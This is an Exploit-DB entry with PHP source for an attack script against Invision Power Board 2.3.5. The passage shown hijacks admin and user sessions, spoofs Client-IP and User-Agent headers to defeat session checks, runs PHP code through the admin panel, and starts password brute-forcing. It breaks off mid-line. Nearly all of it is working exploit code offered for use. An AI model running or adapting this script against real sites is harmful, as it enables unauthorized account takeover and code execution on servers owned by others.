Exploit-DB #6325
Description: Invision Power Board (IP.Board) 2.3.5 - Multiple Vulnerabilities (2)
Type: webapps
Platform: php
Date: 2008-08-29
Author: DarkFig

Exploit:
#!/usr/bin/php -q
<?php
error_reporting(E_ALL ^ E_NOTICE);

# yeah ... it rox (:
class ipb_spl
{
	var $web;

	function main()
	{
		$this->mhead();
		
		# Gimme your args
		$this->p_attack = $this->get_p('attack', true);
		$this->p_prox   = $this->get_p('proxhost');
		$this->p_proxa  = $this->get_p('proxauth');
		
		$this->init_global();
		
		# Proxy params
		if( $this->p_prox )
		{
			$this->web->proxy($this->p_prox);
			
			if( $this->p_proxa )
			$this->web->proxyauth($this->p_proxa);
		}

		# Where do we go ?
		switch( $this->p_attack )
		{
			case 1:	 $this->code_exec();  break;
			case 2:  $this->bf_sql_pwd(); break;
			case 3:  $this->bf_usr_pwd(); break;
			default: $this->usage();
		}

		return;
	}
	
	function code_exec($loop=1)
	{
		# First loop
		if( $loop == 1 )
		{
			$this->set_sql_param();
			$this->set_sql_focus();
		
			$this->p_acp = $this->get_p('acp');
				
			# ACP path
			if( !$this->p_acp )
			{
				# If the user changed the ACP directory, we can
				# find it (if the "Remove ACP Link" option was not
				# applied) by log in as an Admin, and then click
				# on "Admin CP". This can be done with a user
				# but I didn't implemented that  ;) 
				$this->msg('Using default ACP path: admin', 1);
				$this->p_acp = 'admin';
			}
			else 
			$this->msg('Using ACP path "'.$this->p_acp.'"', 1);
		
			# Init client headers:
			# Only if we have the same IP as the targeted user (not admin),
			# it resets session datas, so we try to spoof our 
			# IP as a random one in order to keep user's session datas while
			# we bruteforce SQL fields.
			$this->bypass_matches();
		
			# Remove expired sessions ( time() - 60*60*2  =  > 2 hours )
			$this->web->get($this->p_url.$this->p_acp.'/index.php?');
			$this->msg('Removed all out of date admin sessions', 1);
		
			# Cookie prefix
			$this->get_cprefix();
		}
				
		# Admin session ?
		$this->msg('Trying to find an admin session id', 0);
		
		# Got one :]
		if( $this->get_admin_sess() )
		{
			$this->s_admin = true;
			$this->s_sess  = $this->data['a_sess_id'];
			$this->a_url   = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;
		}
		
		# Nothing special
		else 
		{
			$this->s_admin = false;
			$this->msg('No admin session id found', -1);
		}
		
		# User session ?
		if( !$this->s_sess )
		{
			$this->msg('Trying to find a user session id', 0);
			
			# Yep
			if( $this->get_user_sess() )
			$this->s_sess = $this->data['u_sess_id'];

			# F0ck
			else 
			{
				$this->msg('No user session id found', -1);
				$this->msg('Admin session > 2 hours or user logged out', 0);
				$this->msg('Keeping trying until the user connects', 0);
				$this->msg('Entering loop #'.$loop.' ...', 0);
				$this->code_exec(++$loop);
			}
		}
			
		$this->msg('Getting security options', 0);
		
		# Security options
		$this->get_sec_options();
		
		# IP filter ?
		if( $this->conf['ip'] === '1' )
		{
			$this->s_bypass = true;
			
			$this->msg('IP filter option is turned on', 0);
			
			# Spoofing protection ?
			if( !$this->conf['xforward'] )
			{
				# Assuming our IP isn't the same etc..
				$this->msg('Can\'t bypass the IP filter', -1);
				exit(1);
			}
			
			# X-Forwarded-For / Client-IP /
			# Proxy-User / X-Cluster-Client-IP
			else 
			{
				$this->msg('Cool, we can spoof our IP (Client-IP)', 1);
				
				if( $this->s_admin )
				{
					$this->msg('Trying to find admin\'s last IP', 0);
					
					# Admin IP found
					$this->get_admin_ip();
					$this->s_ip = $this->data['a_ip_addr'];
				}
				else 
				{
					$this->s_admin = false;
					$this->msg('Trying to find user\'s last used IP', 0);
					
					# User IP found
					$this->get_user_ip();
					$this->s_ip = $this->data['u_ip_addr'];
				}
				
				# Nothing found
				if( !$this->s_ip )
				{
					# Ahah (:
					$this->msg('No IP found for this user', -1);
					$this->give_hope();
				}
				
				# Got one !
				else
				$this->msg('Ok, using IP '.$this->s_ip, 1);
			}
		}
		
		# User-Agent filter ?
		if( $this->conf['browser'] === '1' && !$this->s_admin )
		{
			$this->s_bypass = true;
			
			$this->msg('Trying to find a valid user-agent', 0);
			
			# Good
			if( $this->get_user_agent() )
			{
				$this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);
				$this->s_agent = $this->data['u_agent'];
			}
			
			# WTF :!
			else
			{
				$this->msg('No user-agent found for this user', -1);
				$this->msg('Maybe the browser didn\'t send this header', 0);
				$this->s_agent = '';
			}
			
		}

		# Cool !?
		if( !$this->s_bypass )
		$this->msg('Cool, nothing to bypass', 1);
		
		$this->msg('Trying to log in', 0);
		
		# Owned =]
		if( $this->is_logged() )
		{
			# PHP code
			if( $this->s_admin )
			{
				$this->msg('Logged in with an admin session', 1);
				$this->exec_code();
			}
			
			# Normal user ?
			else
			{
				$this->msg('Logged in with a user session', 1);
				$this->msg('You can log in using the cookie session_id', 1);

				if( $this->s_ip !== $this->def_ip )
				$this->msg('Set the Client-IP header to: '.$this->s_ip, 1);
				
				if( $this->s_agent )
				$this->msg('Set the User-Agent header to: '.$this->s_agent, 1);
				
				exit(0);
			}
		}
		else 
		{
			# Even if the admin logged out .. the admin session
			# is still valid  ;) 
			$this->msg('Can\'t log in, the session has expired ?!', -1);
			$this->give_hope();
		}
		
		return;
	}
	
	function bf_sql_pwd()
	{
		$this->p_ip    = $this->get_p('ip', true);
		$this->p_dict  = $this->get_p('dict', true);
		
		$this->p_sql_u = $this->get_p('sqlusr');
		
		$this->p_url   = $this->get_p('url');
		$this->p_uname = $this->get_p('uname');
		$this->p_pwd   = $this->get_p('pwd');
		// or 
		$this->p_uid   = $this->get_p('uid');
		$this->p_hash  = $th